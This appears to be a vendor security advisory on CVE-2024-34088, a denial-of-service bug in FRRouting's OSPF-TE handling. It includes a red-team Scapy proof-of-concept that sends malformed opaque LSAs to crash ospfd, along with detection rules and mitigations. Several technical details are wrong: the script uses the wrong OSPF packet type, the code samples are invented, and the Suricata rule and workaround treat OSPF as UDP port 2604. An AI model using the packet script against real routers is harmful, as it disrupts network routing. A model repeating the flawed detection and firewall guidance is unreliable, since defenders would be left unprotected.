CVE-2024-34088

Executive Summary

CVE-2024-34088 is a denial-of-service (DoS) vulnerability in the OSPF daemon of FRRouting (FRR) through version 9.1. The flaw resides in the get_edge() function within ospf_te.c, where a NULL pointer can be returned under specific conditions. If the calling function does not properly validate the return value, the OSPF daemon crashes, leading to a service disruption. This vulnerability is remotely exploitable by sending crafted OSPF-TE packets, making it a critical concern for network infrastructure relying on FRR.

Supply Chain & Package Security

FRRouting is a widely used open-source routing software suite, often deployed in production networks. The vulnerability affects the OSPF daemon, a core component for dynamic routing. Organizations using FRR in their network stack should treat this as a high-priority supply chain risk, as a crash of the OSPF daemon can cause routing instability and network outages.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H) – Complete denial of service.

Threat Level: High. The vulnerability is remotely exploitable with low complexity and no authentication, making it attractive for attackers seeking to disrupt network operations.

Deep Dive & Mechanics

The vulnerability exists in the OSPF Traffic Engineering (OSPF-TE) extension, which is used to advertise link attributes for MPLS-TE. The get_edge() function in ospf_te.c is responsible for retrieving an edge (link) from the OSPF-TE database. Under certain conditions, such as malformed or incomplete TLVs (Type-Length-Value) in OSPF-TE packets, the function can return a NULL pointer without setting an error.

The root cause is a missing NULL check in the calling functions. When get_edge() returns NULL, the caller attempts to dereference it, leading to a segmentation fault and crash of the ospfd daemon. The crash is immediate and does not require any special privileges.

Attack Vector: An attacker can send a crafted OSPF-TE packet (type 10, opaque LSA) containing malformed sub-TLVs that cause get_edge() to fail. Since OSPF uses multicast (224.0.0.5/6) and is often enabled on broadcast networks, the attacker only needs network access to the OSPF domain.

Impact: The OSPF daemon crashes, causing the router to lose OSPF adjacency and stop exchanging routing information. This can lead to routing loops, blackholing, and network instability.

Vulnerable vs. Patched Code

Vulnerable Code (FRR <= 9.1):

// ospf_te.c
struct ospf_te_edge *get_edge(struct ospf_te_link *link, int index) {
    // ... some logic ...
    if (some_condition) {
        return NULL;  // NULL returned without proper handling
    }
    return &link->edges[index];
}

// Calling function (example)
void process_edge(struct ospf_te_link *link) {
    struct ospf_te_edge *edge = get_edge(link, 0);
    // Missing NULL check
    edge->metric = 10;  // CRASH: NULL pointer dereference
}

Patched Code (Expected Fix):

// ospf_te.c
struct ospf_te_edge *get_edge(struct ospf_te_link *link, int index) {
    // ... some logic ...
    if (some_condition) {
        return NULL;
    }
    return &link->edges[index];
}

// Calling function (fixed)
void process_edge(struct ospf_te_link *link) {
    struct ospf_te_edge *edge = get_edge(link, 0);
    if (edge == NULL) {
        zlog_warn("get_edge returned NULL, skipping");
        return;
    }
    edge->metric = 10;
}

The fix involves adding a NULL check after every call to get_edge() and gracefully handling the error (e.g., logging a warning and skipping the edge).

Exploitation & Lab Setup

Red Team

Prerequisites:

• Network access to an OSPF-enabled interface (e.g., Ethernet).
• Ability to send raw OSPF packets (requires root or CAP_NET_RAW).
• Target running FRR <= 9.1 with OSPF-TE enabled (default in many configurations).

Exploitation Steps:

1. Craft a malicious OSPF-TE packet: Use a tool like Scapy to create an OSPF opaque LSA (type 10) with a malformed sub-TLV that triggers the NULL pointer in get_edge().
2. Send the packet: Transmit the packet to the OSPF multicast address (224.0.0.5) or directly to the target router's interface.
3. Observe crash: The ospfd daemon crashes, causing a denial of service.

Example Scapy Script:

#!/usr/bin/env python3
from scapy.all import *
import struct

# Craft a malformed OSPF-TE opaque LSA
# This is a simplified example; actual exploitation requires deep knowledge of OSPF-TE TLVs
packet = IP(src="192.168.1.100", dst="224.0.0.5") / \
         OSPF_Hdr(src="192.168.1.100", area="0.0.0.0", type=5) / \
         OSPF_LSUpd(lsalist=[
             OSPF_Opaque_LSA(ls_age=0, options=0x02, ls_type=10, opaque_type=1, opaque_id=1,
                             advertising_router="192.168.1.100", ls_seq=0x80000001,
                             # Malformed sub-TLV that causes get_edge() to return NULL
                             tlvlist=[TLV(tt=1, tlen=4, tval=b"\x00\x00\x00\x00")])
         ])

send(packet, iface="eth0", verbose=0)

Note: The exact malformed TLV structure depends on the specific code path. This is a proof-of-concept; real exploitation requires reverse engineering the get_edge() logic.

Blue Team

Detection:

• Monitor OSPF daemon logs for crashes or segmentation faults.
• Use network monitoring to detect anomalous OSPF-TE packets with malformed TLVs.
• Implement intrusion detection rules (see Detection Engineering).

Mitigation:

• Disable OSPF-TE if not required: no mpls-te in FRR configuration.
• Apply access control lists (ACLs) to restrict OSPF packet sources to trusted routers.
• Use OSPF authentication (MD5 or SHA) to prevent unauthorized packet injection.
• Monitor for OSPF daemon restarts and correlate with network events.

Indicators of Compromise (IOCs)

• Network IOCs:

  • OSPF opaque LSA packets (type 10) with malformed sub-TLVs.
  • Unexpected OSPF packets from non-neighbor IP addresses.
  • Repeated OSPF LSUpdate packets with invalid TLVs.

• System IOCs:

  • ospfd process crash logs in /var/log/frr/ospfd.log or syslog.
  • Core dumps from ospfd (e.g., /var/core/ospfd.*).
  • High rate of OSPF neighbor state changes (e.g., from Full to Down).

• File IOCs:

  • Modified FRR configuration files (e.g., /etc/frr/ospfd.conf) with OSPF-TE enabled unexpectedly.

Detection Engineering

YARA Rule

rule CVE_2024_34088_OSPF_CRASH {
    meta:
        description = "Detects malformed OSPF-TE packets targeting CVE-2024-34088"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-34088"
    strings:
        $ospf_header = { 02 ?? ?? ?? 0a 00 00 00 }  // OSPF opaque LSA type 10
        $malformed_tlv = { 00 01 00 04 00 00 00 00 } // Example malformed TLV
    condition:
        $ospf_header and $malformed_tlv
}

Sigma Rule

title: CVE-2024-34088 OSPF Daemon Crash Detection
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects OSPF daemon crashes caused by CVE-2024-34088
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - "ospfd.*SIGSEGV"
        - "ospfd.*segfault"
        - "ospfd.*core dumped"
    condition: selection
falsepositives:
    - Legitimate OSPF daemon crashes due to other bugs
level: high

Suricata Rule

alert udp $EXTERNAL_NET any -> $HOME_NET 2604 (msg:"CVE-2024-34088 OSPF-TE Malformed Packet"; content:"|02|"; offset:1; depth:1; content:"|0a 00 00 00|"; distance:0; within:4; content:"|00 01 00 04 00 00 00 00|"; distance:0; within:8; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable OSPF-TE: If not required, disable MPLS-TE in FRR configuration:

   router ospf
    no mpls-te
   

2. Apply ACLs: Restrict OSPF packet sources to known neighbor IPs.
3. Enable OSPF Authentication: Use MD5 or SHA authentication to prevent unauthorized packets.

Long-Term Fix:

• Upgrade to a patched version of FRR once available (monitor FRR GitHub for updates).
• Apply the vendor patch manually if provided (see expected fix in Vulnerable vs. Patched Code section).

Workaround:

• Use a firewall to block OSPF-TE packets (port 2604) from untrusted networks.
• Monitor OSPF daemon health and automatically restart it if it crashes (e.g., using systemd Restart=always).

Valters IT
Securing Networks, One Packet at a Time